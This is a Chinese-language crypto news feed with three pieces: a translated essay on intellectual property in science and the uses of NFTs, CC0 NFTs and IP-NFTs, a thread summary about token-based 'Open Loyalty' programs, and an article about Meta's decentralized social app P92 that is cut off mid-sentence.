    原文：《Intellectual property (in science): The potential & advantages of NFTs》by sshshln 编译：Block unicorn 本文试图在分布式账本技术（DLT）和区块链的媒介下，概念化科学领域知识产权（IP）的现状。重点关注 NFT（非同质化代币）、CC0 NFT（Creative Common Zero 非同质化代币）以及 IP-NFT（知识产权非同质化代币）。IP-NFT 是一种独特的数字资产，利用区块链技术代表知识产权所有权，如研究和其他创作作品，并用于筹集资金。 本文列举了科学和学术界中 IP 领域的主要问题，并概述了 DLT 和区块链提高 IP 领域的机会。我们勾画了一个 IP x NFT 生态系统格局，列出了最先进的倡议和项目，并讨论了 CC0-NFT 和 IP-NFT 的主要挑战。 知识产权（IP）是一种包括人类智力创造的无形财产类别。该术语通常指人们的头脑创造，例如发明、文学和艺术作品、商业中使用的符号、名称、图像和设计。 通过为将新思想引入市场的创作者和创新者提供法律保护，知识产权在促进创新、创造力和经济增长方面发挥着重要作用。 然而，与土地或商品等传统财产相比，知识产权的无形特性带来了困难。与传统财产不同，知识产权是「不可分割的」，因为无限数量的人可以「消费」知识财产而不会减少它的数量。 此外，对知识产品的投资还面临着侵占问题:土地所有者可以用坚固的栅栏包围他们的土地，并雇佣武装警卫来保护它，但信息或文学的生产者通常无法阻止他们的第一个买家复制它并以更低的价格出售它。 现代知识产权法的主要重点是平衡权利，使其强大到足以鼓励知识产品的创造，但又不会强大到阻止产品的广泛使用。 知识产权受到各种法律框架的保护，如专利、版权、商标和商业秘密。 专利是授予新产品或新工艺的发明者的法律保护。专利权给予发明者在一定时期内制造和销售其发明的独家权利。作为这种专有权的交换，发明者必须公开公开他们的发明，这有助于通过允许其他人学习和借鉴现有的发明来刺激创新。 版权是授予原创文学、艺术、音乐和其他创意作品的创作者的法律保护，版权给予创作者在一定时期内使用和传播其作品的专有权。作为对这种专有权的交换，创作者必须将其作品提供给公众使用，这有助于促进艺术和文化生产。 商标是授予个人或公司在商业中使用标志（如 LOGO）、名称或其他识别符号的法律保护。商标有助于防止市场上的混淆和误导，使消费者能够轻松识别和区分不同的产品和服务。 商业秘密是指机密的商业信息，如配方、工艺或客户名单，为拥有这些信息的公司提供竞争优势。商业秘密通过保密协议、不披露协议和其他法律手段得到保护。 第一部分 科学知识产权的现状：概述与挑战 在科学领域中，知识产权是一个复杂且不断发展的法律和政策领域，需要平衡发明者和创作者的利益与促进科学进步和创新的广泛公共利益。 今天，知识产权在科学领域的状况由一系列复杂的法律、道德和政策考虑所塑造，人们正在不断地平衡发明者和创作者的利益与促进科学进步和创新的广泛公共利益展开辩论和讨论。 主要趋势 知识产权是科学研究和创新的一个重要组成部分，因为它有助于保护和激励对新技术和想法的投资。近年来，出现了几个关键的趋势，这些趋势正在影响着科学中使用知识产权的方式。 首先，人们越来越重视合作研究和开放式创新。推动这一趋势的原因是，人们认识到合作可以带来更快、更有效的创新。因此，人们越来越多地使用开放创新模式，如开放源代码软件和开放获取出版，这些模式允许自由分享想法和数据。 第二，在新兴市场，有一种加强知识产权保护的趋势。这一趋势是由新兴市场作为科学研究和创新中心的日益重要性所驱动的。因此，通过制定更强有力的知识产权法律和法规，这些市场的知识产权保护受到了更多关注。 第三，出现了更多使用无需许可知识产权（也可以理解为公共版权，任何人都可以使用）和合作协议的趋势日益增长。推动这一趋势的原因是，人们认识到无需许可知识产权和合作协议可以为知识产权资产的货币化提供有效手段，同时也提供了获得新技术和专业知识的机会。 最后，还有一种趋势是越来越多地采用另类的知识产权模式，例如非同质化代币（NFT），来管理和货币化知识产权资产。这一趋势受到区块链技术的不断发展和广泛应用的推动，区块链技术可以提供一种安全、透明的方式来管理和交易知识产权资产。 总之，科学领域中的知识产权趋势包括越来越强调协作研究和开放创新、在新兴市场中更加重视保护知识产权、越来越多地采用无需许可知识产权和合作协议、以及采用另类知识产权模式的趋势。这些趋势突显了知识产权在科学领域的不断演变，研究人员和创新者正在寻找新的方式来保护和货币化他们的知识产权资产。 挑战和风险 知识产权对科学研究和创新至关重要，因为它激励了对新技术和想法的投资。然而，知识产权在科学领域的使用也带来了重大挑战。 科学中的知识产权的主要挑战之一，是平衡专利持有人的利益和公共利益。虽然专利通过授予发明人专有权来激励创新，但也会限制人们对新技术和产品的获取，例如在医疗保健领域，由于价格过高，获取救命药品的机会可能受到限制。 其次，挑战在于应对复杂的知识产权法律环境。知识产权法律在不同国家之间存在着广泛的差异，这可能会给知识产权资产的创建者和所有者带来不确定性。因此，谨慎地导航法律环境是至关重要的，以确保知识产权得到适当的保护。 第三个挑战是有效地管理和盈利知识产权资产。管理知识产权资产（例如专利和版权）可能会非常复杂和昂贵，尤其是对于较小的研究机构和初创企业。有效管理知识产权资产需要大量的资源，包括法律专业知识和技术基础设施。 第四个挑战是确定专利保护的适当范围。在某些情况下，专利可能过于广泛，这可能会通过防止其他人在现有技术基础上进行改进而扼杀创新。相反，过于狭窄的专利可能无法为发明者提供足够的保护，从而导致竞争对手的侵权可能性。 此外，保护知识产权也面临着应对专利流氓的挑战，他们获得专利的唯一目的就是针对可能侵权者执行它们。专利流氓对于中小企业尤其具有破坏性，因为它们可能缺乏资源来抵御专利侵权的指控。 在数字化时代保护知识产权的挑战仍然存在。数字技术的日益普及，例如云计算和社交媒体，使得共享和复制知识产权资产变得更加容易。这为保护知识产权带来了新的挑战，例如需要更加强大的数字安全措施。 在处理与知识产权有关的道德考虑方面存在挑战。关于为生命形式和基因序列申请专利的道德影响，一直存在争议。还有一种担忧是，知识产权可能被用来限制基本药物和技术的获取，特别是在发展中国家。其他伦理问题与科学中知识产权的使用有关，例如谁应该拥有和控制公共资助的研究成果，以及科学研究的利益应该如何分配。 另一方面，也有一些风险，例如，对知识产权的关注会使研究人员不愿意公开分享他们的工作，导致科学社区的合作性和效率降低。 知识产权权利可能会对某些技术或科学知识创造垄断，使得其他研究人员在同一领域工作变得更加困难和更昂贵的研究成本。 此外，它可能导致科学研究的好处分配不公，少数个人或组织获得巨大的利益，而广大的科学社区和整个社会却几乎没有获得任何好处。 总的来说，科学中的知识产权权利可能会带来重大挑战，并引发重要的伦理问题。对于研究人员、政策制定者和其他人来说，认真考虑这些问题并找到平衡知识产权保护的好处与开放和合作的科学研究需求的方法是非常重要的。 去中心化和区块链，科学的新范式 随着创新的分布式账本技术的不断普及，分布式科学研究（DeSci）激发新的科学家和爱好者运动应运而生。 DeSci 运动的支持者旨在创建一个生态系统，在这个生态系统中，科学家受到激励以开放透明的方式进行研究并分享他们的研究成果，并且能够得到他们的工作的认可，从而使任何人都可以访问和贡献研究。换句话说，该运动旨在合法化从业者的工作，同时寻找志同道合的人，吸引更多的人才进入该领域。 尽管分布式科学运动还处于起步阶段，但它源于这样一个思想，即科学知识应该对每个人都是可获取的，公平公正地传播科学知识。合作研究、同行评审和出版过程应该是透明的和简单的，以放大研究的质量，使科学家可以充分追求他们的好奇心并产生能够惠及人类的应用知识。 通过使用 Web3 技术栈，DeSci 提出了一种更为去中心化的研究和商业化模式，使其更加抵御审查、机构和出版社的影响和控制。它创造了一个环境，通过去中心化和多样化获得资金（从 DAO、二次捐赠到众筹等）、研究数据和方法、科学工具和通信渠道，可以使新颖和非传统的想法得以发展。DeSci 推动开放科学，鼓励公民科学，并为科学家和公众创造激励。 不用说，区块链技术有潜力大大增强知识产权所有权，提供一个安全和透明的系统来记录和追踪所有权，从而降低盗窃、仿冒和其他形式的知识产权侵权的风险。 以下是区块链如何增强知识产权所有权的方式： 保存的记录不可更改 区块链是一个去中心化和分布式的账本，以安全和不可更改的方式记录交易。这意味着一旦数据记录在区块链上，就不能被更改或删除。这一功能可用于创建一个不可更改的知识产权记录，比如专利和商标，并防止欺诈性索赔和争议。 区块链可以在知识产权资产管理中提供透明度和可追溯性。通过在区块链上记录交易，知识产权所有者可以跟踪其资产的使用情况，并确保它们符合许可协议和其他合同义务。 智能合约是在区块链上编程的自动执行合约。它们可用于自动化知识产权相关的流程，例如许可协议和版权支付。智能合约可以确保知识产权所有者获得公平的补偿，并降低争议和法律挑战的风险。 知识产权在科学领域是一个巨大的问题，它们停留在大学中，价值难以评估。尽管如此，数字资产（如科学数据或研究论文）的所有权是 Web3 非常擅长的领域。区块链可用于建立知识产权资产（如专利、版权和商标）的所有权证明。通过在区块链上记录所有权信息，知识产权所有者可以提供安全透明的手段来证明他们的所有权。 区块链可以实现去中心化的知识产权管理，即知识产权资产由去中心化的利益相关者网络拥有和管理，而不是由一个中心化的机构来管理。这有助于促进知识产权资产管理方面的更大协作和创新。因此，Web3 创造了新的融资和合作模式。在 DeSci 生态系统中，科学的各个方面，如科学论文同行评审、知识产权和声誉系统，都可以由独立去中心化社区来管理。这既减少了被单一机构支配的风险，也有助于面向未来的科学抵御快速变化的技术和新出现的威胁。通过 DAO 和 NFT，DaSci 使社区成为科学知识的新股东（例如，可通过 DAO 拥有的 IP-NFT）。此外，这些资产所产生的价值可以被用来资助新知识的创造，以试图建立自我维持的科学生态系统。 区块链可以为知识产权资产提供新的获利机会，例如通过创建非同质化代币（NFT）。NFT 可用于代表独特的知识产权资产，例如数字艺术品或音乐，并可在基于区块链的市场上进行交易。 区块链技术通过提供可验证和不可篡改的所有权和转让记录，可以增加对知识产权资产管理的信任和可信度。这有助于减少与知识产权所有权和转让相关的争议和诉讼。 主要的是，区块链技术有潜力通过提供安全、透明和高效的方式记录知识产权资产的所有权和转让，增加信任和可信度，保护免受侵权和伪造，促进知识产权资产的货币化，并促进去中心化的知识产权管理，从而增强知识产权的管理和保护。 知识产权（IP） x NFT 非同质化代币（NFT）是一种数字资产，可以在区块链上进行唯一识别和验证。NFT 使用智能合约来执行所有权和转让权，并常用于代表数字艺术品、收藏品和其他独特的数字资产。 从学术角度来看，NFT 是区块链技术、数字所有权和知识产权法律的一个有趣而复杂的交叉点。NFT 提供了一种新的方式，让创作者以安全透明的方式货币化其内容，因为它们允许独特数字资产的所有权和转让。 然而，NFT 的使用也引发了有关数字时代所有权性质以及区块链技术在保护知识产权方面的作用的问题。 NFT 本身并不一定保护知识产权，但它们可以帮助确定数字资产的所有权和来源。通过创建代表特定数字资产（如研究论文、音乐作品、艺术品或专利）所有权的 NFT，创作者可以在区块链上建立一个公开可验证的所有权记录。这个记录可以帮助防止未经授权的数字资产复制或分发，因为它可以用作法律争议中的所有权证据。它还可以提供一种透明安全的方式来跟踪资产的所有权和来源，这对创作者、投资者和收藏家都非常有用。 NFT 在科学领域的应用案例 NFTs 在科学上有各种各样的用例，下面是一些例子： NFT 可以用于验证科学数据的真实性并确保其完整性。通过为特定的数据集创建 NFT，研究人员可以证明数据未被篡改且是原始的。 NFT 可以用于确立知识产权（例如专利或软件代码）的所有权。通过为特定的知识产权创建 NFT，所有者可以证明所有权并可能实现该财产的货币化或授权使用。 非同质化代币（NFT）可以被用作资助科学研究的机制。研究人员可以创建代表他们研究项目的 NFT，并将其出售给投资者。投资者可以购买这些 NFT 作为支持科学研究的方式，作为回报，他们可能会分享研究产生的任何未来利润。此外，NFT 可以用于众筹科学研究，通过创建代表特定研究项目股份的 NFT。投资者可以购买这些 NFT，这将给他们在项目中获得财务股份，并可能赚取任何未来利润的一部分。 管理科学数据的访问 NFT 可用于管理对科学数据的访问。研究人员可以创建代表特定数据集的 NFT，然后将这些 NFT 出售或授权给其他研究人员或组织。这种方法有助于确保数据得到适当和公平的使用，并可以为研究人员提供一种获得工作报酬的机制。 创造科学艺术 NFT 也可以用来代表科学艺术，例如科学现象的图像和视频。通过创建代表这些艺术作品的 NFT，科学家可以将其出售或授权给他人，为自己提供一种新的收入来源，并向更广泛的受众推广自己的工作。 收藏科学纪念品 NFT 可用于收集和交易科学纪念品，例如签名的研究论文副本或独特的数据集。 科学领域的 NFT 类型 NFT 可以包括从音乐和艺术品到研究和发明专利和商标的任何东西。在科学的知识产权领域，这里有一些关于如何使用 NFT 的例子。 研究论文的表述是科学界知识产权的一种重要形式。NFT 可以用来代表特定研究论文的所有权或权利，允许所有者控制论文的访问和传播。 专利是一种知识产权形式，它为所有者提供了在一定时期内阻止他人制造、使用或销售发明的专属权利。专利 NFT 可以代表对某一特定专利的所有权或权利。 科学数据集可以是有价值的知识产权，可用于开发新产品或新技术。NFT 可以表示对特定数据集的所有权或权利，允许所有者控制数据的访问和使用。 软件代码是技术产业中知识产权的重要形式。NFT 可以代表对特定软件代码的所有权或权利，允许所有者控制代码的访问和分发。 科学图像，如显微镜图像或科学实验照片，可以是有价值的知识产权。NFT 可以代表特定科学图像的所有权或权利，允许所有者控制图像的访问和使用。 NFT 在知识产权方面的优势 NFT 已经成为知识产权管理的一种新方法。与传统的知识产权管理方法相比，这种创新方法有几个优点。 首先，NFT 提供了不可改变的知识产权资产所有权。一旦知识产权资产被铸造成 NFT，其所有权就会被记录在区块链上，形成一个不可更改的、透明的所有权记录。这消除了对律师和注册机构等中介机构的需求，减少了管理知识产权资产的成本和时间。 其次，NFT 提供了更好的许可和版税管理。由于 NFT，版税可以自动分配给作为资产所有者的科学家。这消除了人工跟踪和分配特许权使用费的需要，因为人工跟踪和分配可能会出现错误和纠纷。 第三，NFT 使知识产权资产的零散所有权和交易成为可能。NFT 可以被分成更小的部分，这使得知识产权资产的零散所有权得以实现。这使创作者和所有者能够通过向多个投资者出售资产的部分所有权，更容易、更有效地实现其资产的货币化。 第四，NFT 增强了知识产权资产的认证和来源。区块链技术的使用确保了 IP 资产的真实性和出处可以很容易地验证。这为潜在买家或被许可人提供了更大的保证，即资产是真实的，并由卖方拥有。 最后，NFT 通过允许部分所有权和交易来增加流动性，使所有者更容易出售或许可其资产。这可以为以前缺乏流动性的知识产权资产创造新的市场，从而增加其整体价值。 NFT 相对传统的知识产权管理方法具有几个优点。这些优点包括不可变的所有权、改进的许可和版税管理、分散所有权和交易、加强的认证和溯源，以及增加的流动性，这些优点展示了 NFT 改变知识产权资产管理和盈利方式的潜力。 虽然 NFT 有潜力为创造者和研究人员提供一种新的方式，使他们的科学和创造性工作货币化，并为投资者和机构投资数字资产和资助研究，但仍有一些挑战和问题需要解决。IP x NFT 的主要挑战包括： NFT 的主要好处之一是，它允许研究人员证明其学术工作的所有权和真实性。然而，这可能是一个挑战，因为它需要一个强大的系统来验证作品的原始创作者，并确保 NFT 不是一个副本或假货。 NFT 有可能引起复杂的版权和许可问题。例如，如果 NFT 是根据受版权保护的作品创作的，创作者可能需要在创作和销售 NFT 之前获得版权持有人的许可。 即使有了 NFT，执行知识产权也可能是一个挑战。如果有人侵犯了研究者的知识产权，可能很难确定侵权者并对其采取法律行动。 加密货币和区块链的广泛采用是一个时间问题。NFT 在知识产权领域和科学领域的使用仍然是一个小众现象。 创建和管理 NFT 需要技术知识和专长。这对一些不熟悉区块链技术的创作者来说可能是一个障碍，他们可能需要技术专家的帮助来创建和管理他们的 NFT。 NFT 作为一种现象，仍有几个问题和挑战需要解决： 加密货币的开采和处理所需的能源消耗引起了人们对 NFTs 环境影响的关注。随着越来越多的人铸造和交易 NFT，底层区块链网络所需的能源消耗将继续增长。 目前用于创建 NFT 的区块链基础设施可能是缓慢和昂贵的，交易费用高，可扩展性有限。这可能使小型创作者和艺术家难以创建和销售他们自己的 NFTs。 没有创建或验证 NFT 的标准化系统，这可能导致市场的混乱和不一致。这种缺乏标准化的情况会使买家和卖家难以确定 NFT 的价值和真实性。 在许多司法管辖区，非正规金融工具的法律和监管地位仍不明确。因此，对于非传统金融工具的创造者和购买者来说，可能会有不完全了解的法律和税收影响。 非传统金融工具的市场可能非常不稳定，价格快速波动且不可预测。这可能使我们难以确定非传统金融工具的价值。 CC0 NFT CC0 NFT 是指公共版权非同质化代币，CC0 代表了公共版权，意味着 NFT 的原始创建者放弃了作品的所有权利，把这些权利释放到公共领域，任何人可以自由使用、修改或传播该作品，没有任何的限制。 与通常售价高昂并可能面临版权索赔或其他法律问题的其他 NFT 不同，CC0 NFT 是供任何人自由使用的宝贵资源，可用于研究、艺术、开发和其他创作者。它们可以用于科学之外的各种应用，包括游戏、虚拟现实和其他数字体验，并为研究人员和创作者提供了一种展示其作品并为公共领域做出贡献的方式。 CC0 NFT 提供了可访问性，因为任何人都可以免费使用、共享和修改，没有任何限制，这使得它们更加容易接触到更广泛的观众。使用区块链来存储和验证 CC0 NFT 的所有权提供了透明度和安全性，确保资产是真实的，而不是伪造的。此外，通过在 CC0 许可下发布 NFT，研究人员可以避免版权侵权的法律问题和潜在诉讼，因为他们允许其他人在未经许可的情况下使用和修改他们的作品。此外，使用 CC0 许可证鼓励合作和创作衍生作品，从而在 NFT 和科学生态系统中实现更多的创新和创造力。 然而，使用 CC0 许可证的 NFT 也可能带来一些财务和创意上的缺陷。因此，通过放弃其 NFT 的权利，科学家和创作者可能会错过许可或出售其作品的潜在经济利益。通过在 CC0 许可证下发布其作品，他们放弃了对其作品使用方式的控制权，并可能不同意其他人如何使用或呈现其作品。此外，CC0 许可证在保护创作者免受侵权或误用方面几乎没有任何法律保护，如果他们的作品被用于负面或有害的方式，这可能会带来问题。最后但并非最不重要的，由于可用性和易于复制，CC0 NFT 在市场上可能具有较少的价值，这使得创作者难以从其作品中获得收入。 至于 CC0 NFT 的好处，它们有可能彻底改变科学信息的分享和保存方式。CC0 NFT 可以用于提供一种独特的、去中心化的、透明的方式来分享和归属科学数据、研究论文和其他数字内容。 CC0 NFT 最重要的特征之一是它们能够确保科学数据的真实性和来源。NFT 可以作为真实性的数字证书，允许研究人员验证数据集、研究论文或任何其他科学内容的原始来源。这在开放获取研究的情况下尤其有用，因为归因对于确保研究的完整性和避免抄袭至关重要。 此外，CC0 NFT 可用于创建一个分散和透明的同行评审系统。研究人员可以使用 nft 共享他们的数据、研究论文或其他内容，其他研究人员可以审查内容并提供反馈或建议。NFT 提供的透明度有助于确保评审过程的完整性，并提供一个更民主的同行评审制度。 此外，CC0 NFT 可用于创建一个更可持续的科学出版模式。通过使用 NFT，研究人员可以将他们的研究货币化，而不依赖于传统的出版模式。这有助于确保更广泛的受众能够获得研究成果，并有可能降低与传统出版模式相关的成本。 一些著名的 CC0 NFT 项目 Goblintown 系列的 10,000 个头像 NFT 是 CC0，所以 NFT 持有者可以随意将其商业化。随着包括 Steve Aoki 在内的几位 NFT 鲸鱼对该项目的认可，该系列的底价约为 2ETH。 Rekt Guy 于 2022 年 5 月推出，是由前华尔街交易员和有影响力的 NFT 收藏家 Ovie Faruq（别名 OSF）创建的 PFP 项目。该系列以 OSF 自己的角色创作为中心，体现了在加密货币文化中 rekt（失去了所有的财富）的感觉。像 Snoop Dogg 这样的大名人收藏这些 NFT，Rekt Guy 项目已成为某种地位的象征，并真正证明了影响者在炒作一系列 NFT 中的力量。 Chain Runners NFT 是完全在链上的，所以艺术品永久地存在于以太坊区块链上。 Loot 虽然看起来很普通——是一个包含服装、武器和装备的清单，适用于视频游戏——但这正是其要点。Loot 为其他构建者提供物品，供他们在自己的项目中使用。虽然已经有几个抄袭项目在做同样的事情，但 Loot 是第一个开创这种概念的项目。 CrypToadz 是由著名的匿名艺术家 Gremplin 构思的，由标志性的 CryptoPunks 衍生而来，CrypToadz 目前是 OpenSea 上交易量最大的 NFT 收藏品之一。   IP NFT（知识产权非同质化代币）是一种独特的数字资产，利用区块链技术代表知识产权，例如研究、音乐、艺术或其他创作作品的所有权。NFT 是独特的，因为每个 NFT 都不同于其他所有 NFT，无法像传统货币一样以等值进行交换。 在科学领域，由 Molecule 团队于 2021 年开发的 IP-NFT 概念成为知识产权和非同质化代币之间的交汇点，使科学研究可以代币化。因此，研究项目的代表性被放置在区块链上，以 NFT 的形式呈现。投资者—收藏家和进行研究的科学家或机构之间自动形成法律协议。然后，NFT 的所有者有权获得因研究所产生的知识产权授权或使用该 IP 创建初创企业的报酬。 也就是说，在申请专利之前，研究人员就可以提出项目并从投资者那里筹集资金。作为交换，投资者拥有一个 IP-NFT，允许他们从一定比例的知识产权和创新可能产生的收入中受益。 2022 年 12 月，molecular 团队推出了下一代 IP-NFT: IP-NFT V2，处于封闭测试阶段。版本 2 以 IP-NFT 的成熟组件为基础，并扩展了新功能。IP-NFT V2 在构建时考虑到了模块化，使用户和构建者能够定制自己的用例。此外，它还允许开发人员通过添加现有模块或创建全新模块来扩展其功能。 IP-NFTs 允许本地链上实体，如 VitaDAO（研究延长寿命的去中心化组织）等 DAO 直接在链上进行研究。 总的来说，IP-NFT 有可能彻底改变知识产权的拥有和管理方式，为研究人员提供对其工作的更大控制权和新的货币化机会。 近年来，知识产权和非同质化代币项目变得越来越流行，因为创作者和研究人员寻求货币化他们的数字作品并保护他们的知识产权（IP）。 以下是一些正在出现在加密领域的众多 IP x NFT 项目的例子。随着技术的不断发展，我们可能会看到更多创新的 NFT 使用方式，来代表和保护数字领域中的知识产权。 在科学领域中，正如我们之前提到的，最显著的例子是 Molecule。它受到了开放科学运动和某些患者社区中正在进行的开放药物开发的启发。这个想法是利用区块链工具来帮助推进和资助早期药物开发。为此，该公司做出了几个明智的决定，推进了 DeSci 领域的发展，包括创意 IP-NFT，与知识产权相关的 NFT，并推出了 VitaDAO 社区来资助生命长寿研究，他们继续孵化新的 DAO 并帮助推进早期药物开发的资助。 正在使用 NFT-IP 的平台和 NFT 市场： IP x NFT 示例 以下是加密和科学领域的几个 IP x NFT 的例子： 美国太空部队（U.S. Space Force）发布了一系列 NFT 来纪念发射一颗以尼尔·阿姆斯特朗为名的卫星。这组 NFT 包括卫星的增强现实描绘、任务徽章等。 尼布拉基因组学公司的联合创始人、哈佛医学院（Harvard Medical School）的遗传学教授乔治·丘奇（George Church）将自己的完整基因组制作成 NFT。 加州大学伯克利分校（University of California, Berkeley）进入了 NFT 领域，推出了一枚由诺贝尔奖获得者詹姆斯·艾利森（James Allison）的文件启发的 NFT。这个名为「第四支柱」（The Fourth Pillar）的 NFT 以 22 ETH（约 55,000 美元）的价格售出。   总结 在科学领域使用 NFT 可以提供巨大的优势，因为它们代表了科学家、研究人员和创造者使其工作货币化和保护其知识产权的新方式。有了 NFT，研究人员就有可能为一项内容或发明创造一个独特的数字身份，从而可以拥有并进行交易。该技术有可能彻底改变知识产权的管理方式，使其更容易获得，更安全，更透明。 去中心化的 IP，以及 IP x NFT 合作的未来似乎很有希望。目前，这是一个快速发展的空间，对科学家和创作者都有很大的潜力。而随着区块链技术和 NFT 成为主流，我们有可能看到 IP x Web3 项目的数量和类型的爆炸性增长。 不过，尽管 NFTs 在科学和知识产权方面有很多好处，但仍有一些问题和风险需要解决。例如，欺诈和造假的可能性，以及缺乏明确的监管框架和法律先例会使知识产权的执行变得困难。此外，该技术仍然相对较新，没有经过科学界的测试，因此需要进一步的研究和实验来充分实现其潜力。 虽然有一些挑战需要克服，但对于知识产权管理、科学和创新的未来发展来说，NFT 的出现无疑是一个令人兴奋的现象。  ( 8 min )
    为什么Open Loyalty将成为NFT的下一个新叙事？
    原文来源：Twitter 作者：starzq.eth，MarsBit整理 PFP之后，大家都在呼唤更有实用价值的utility, 星巴克基于 Loyalty 打造的会员token是其中重要一类。如果更多品牌开放自己的会员，会带来一个什么样的世界呢？ Smart Token Labs的CMO Brent 称之为Open Loyalty（开放会员系统），分享了 3 个案例和思考。 在 web2 深受「离线」之苦的行业，通过Token 和 Open Loyalty 捕获到了更多价值。我整理为 3 个案例和价值点 1. Karma 电动车：加速数字化，建立更小摩擦的生态联盟 2. Bogota Devcon：构建快闪 Open Marketplace, 捕获增量价值 3. 大众汽车：打造品牌获客新方式 Claim to Earn 1 Karma 电动车：加速数字化，建立更小摩擦的生态联盟 汽车是一个典型的「离线」行业，有丰富的第三方生态，包括注册、保险、共享、租赁、抵押贷款、俱乐部…但每一块的信息都是不完整且孤立的 造成 Smart Token Labs和 Karma 电动车合作的 Car Token 可以更好解决以上问题 基于 Car Token, 整个生态实现了 Open Loyalty, 用户同时成为所有第三方服务的会员，所有的服务都变的更简单 更小交易摩擦的生态联盟被建立，同时让用户和服务商受益 2Bogota Devcon：构建快闪Open Marketplace, 捕获增量价值 另一个「离线」的行业是会议，其痛点和汽车类似： Smart Token Labs 为 Bogota Devcon 的超过 6000 名参会者（同时是高质量的以太坊开发者）提供了 token ticket 然后有趣的事情发生了，出现了 25 个服务方，给这些以太坊开发者提供权益，包括 有项目方在 Metaverse 里提供虚拟连帽衫 设计师提供免费的个人主页设计 …… 通过 Token 和 Open Loyalty, 本身分散在各处的这些服务方、权益和以太坊开发者自然聚合为一个 Open Marketplace, 之前很难被捕获的价值可以被捕获，带给整个生态增量价值 3大众汽车：打造品牌获客新方式 Claim to Earn 过去品牌主要通过广告来获取用户，有成本且精准度有限。比如大众汽车想找一些 influencer, 这该如何去做呢？ 基于 token, 可以创造更简单的方式。 假设你是一个 Reddit 用户，在汽车subreddit 非常活跃并被奖励了一个相关 token 大众汽车可以创建一个 Open Marketplace, 为持有汽车 subreddit token 的用户设置奖励，作为交换需要留下 email 于是 influencer 通过 Claim 获得了奖励，大众汽车找到了目标用户，双方互相捕获了价值。同时 Web2 广告平台上的投放成本被节省下来 Claim to Earn 会成为 Web3 更高效的获客方式 这个方式还可以解决体育行业的世纪难题：如何衡量赞助商的 ROI ? 过去赞助商在球场花巨资投放广告，但很难衡量到底带来了多少用户和收入。现在赞助商可以通过 Claim to Earn, 为持有比赛门票 token 的用户设置奖励或者折扣，精准获取到对其感兴趣的用户，以及计算 ROI. 世纪难题就这样被解决了 通过会员Token构造Open Loyalty 1. 加速「离线」行业的数字化，建立更小摩擦的生态联盟，让用户和服务商受益 2. 构建快闪 Open Marketplace, 捕获增量价值，用户和服务方再次受益 3. 品牌获客方式，从投放广告变成让目标用户Claim to Earn，web2 里被平台拿走的价值回归用户 PFP 之后，NFT 市场的下一个新叙事是什么？大家都在呼唤更有实用价值的 NFT，希望会员 Token和 Open Loyalty 创造的外部正向性, 可以把更多用户和价值带入 Web3。  ( 5 min )
    “恶龙”要当“勇士”？Meta自我革命，入局Web3社交
    原文：《Meta入局Web3社交 这是要革自己的命？》 撰文：木沐，元宇宙日爆 Facebook 的母公司 Meta 正在着力打造一款基于文本的去中心化社交平台，该应用程序将支持去中心化社交协议。换句话说，它要用 Web3 了。 无论是 Facebook、Tiktok 还是 Twitter，它们的共同特点是中心化，这两年，这些中心化社交平台无偿利用用户数据、平台的偏见性审查等问题多次受到舆论批评。 此时恰逢 Web3 兴起，去中心化社交平台打着保护隐私、用户掌握数据所有权的大旗加入战场，挑战 Web2 社交巨头，但遗憾的是，鲜有 Web3 社交应用能够颠覆 Twitter 或 Facebook。 Damus 等去中心化社交产品快速出圈又迅速沉寂，用户来过，但又走了。当拥有庞大用户量的 Meta 切入 Web3 赛道，它能否实现自我颠覆，为去中心化社交的下半场带来新叙事？ Web3 浪潮的兴起后，众多去中心化社交协议以底层基建的面貌涌现，随后各种去中心化社交应用诞生。2022 年 11 月，去中心化社交平台 Mastodon 抢走 Twitter 数百万用户，2023 年 3 月 Damus 上线后不到两日就登上美区 App Store 免费社交应用前十的榜单。 人们对去中心化社交应用的好奇心被点燃，面对 Web3 社交平台的挑战，Meta 的目光瞄向去中心化社交协议。据悉，这家社交巨头正在打造一款基于文本的去中心化社交平台，项目代号为 P92，该应用程序将支持去中心化社交协议。 截至目前，该产品目前仍然处于早期开发阶段，尚没有明确的发布时间表。值得注意的是，P92 应用程序将优先考虑隐私，Meta 公司法律和监管团队已经开始针对这一应用的潜在隐私安全问题展开调查，从而在正式发布之前解决相关隐患。 Meta 将 P92 定义为去中心化的社交应用。虽然该公司还没有详细透露细节。但通常而言，在去中心化的网络中，每个用户都可以建立独立的服务器，并且可以为内容的审核方式设定特定的服务器规则。 无论如何，面对事实来势汹汹的 Web3 式社交，Meta 在还没有颠覆者出现前出手了。 自 2022 年起，去中心化社交应用频繁出现，但也昙花一现。 前段时间，Damus 被冠以「推特杀手」的名号闪亮登场，最先引起 Web3 社区的注意，然后火速出圈。但热闹仅维持了一周，Damus 没能站稳 App Store 前十的位置，热度较上线时下降了约 60%，高质量日活账户较高点更是减少了 85%。 再次打开 Damus 时，上面堆满了各种色情、营销、博彩等垃圾与违法信息，成了「互联网厕所」。而另一个曾风靡一时的 Web3 应用 Mastodon 也有类似遭遇。 Mastodon 月活下降 去年 12 月，Mastodon 的月活跃用户从 38 万攀升至 250 万以上，但它并没有让人们坚持用下来。由于 Mastodon 是由一群技术极客实现的，面向的群体为 Web3 原生用户，产品具有较高的操作门槛，很多新手抱怨「实在难用」，于是他们又回到了自己熟悉的 Twitter。 到了 2023 年 1 月底，Mastodon 的每月活跃用户数下降到 140 万。 只能火爆一时，去中心化社交平台面临着留不住用户的困境。这到底是什么原因？ 市场上不乏 Web3 创业团队推出的去中心化社交产品，但体验后不难发现，它们在产品形态上仍然是 Twitter 们的复制品，用户缺少「我不得不用」的理由。而越即时的聊天，对于传统用户而言，就越没有上链的必要性，除非，上链的去中心化应用能做到高并发。 与 Web2 的社交应用相比，去中心化社交产品还没有办法在使用上保持流畅。你能想象都这个年代了，在 Damus 上发图片，还需要转成链接才能发布吗？ 除了流畅性外，Web3 社交应用的操作也相对复杂，很多应用需要用户付出时间先了解公、私钥，再花费更长时间了解如何用使用加密钱包——这一登录入口被 Web3 社区视作一种颠覆，因为人们无需邮箱和手机号等容易暴露自己隐私的资料注册和登录 Web3 应用，只需要掌握钱包的私钥，即可在支持某个钱包的同底层协议上，跨平台使用各种应用。 可惜的是，这些对普通用户都是十分繁琐的过程，保密性有了，但失去了便捷性。大多的 Web3 社交应用都在这个怪圈里「重复造轮子」。 终于，Damus 不用钱包登录了，它在创新的底层架构上降低了用户的登录门槛，但过度追求自由与隐私时，似乎少想了一个问题：人们为什么没有因为隐私问题而放弃使用 Twitter？ 讽刺的是，在 Damus 上，你能看到大量用户发布 Twitter 或微信的二维码，以此将 Web3 的社交关系再转移回 Web2。如果 Web3 创业团队本身无法参透社交的需求，那么用「自由」颠覆 Web2 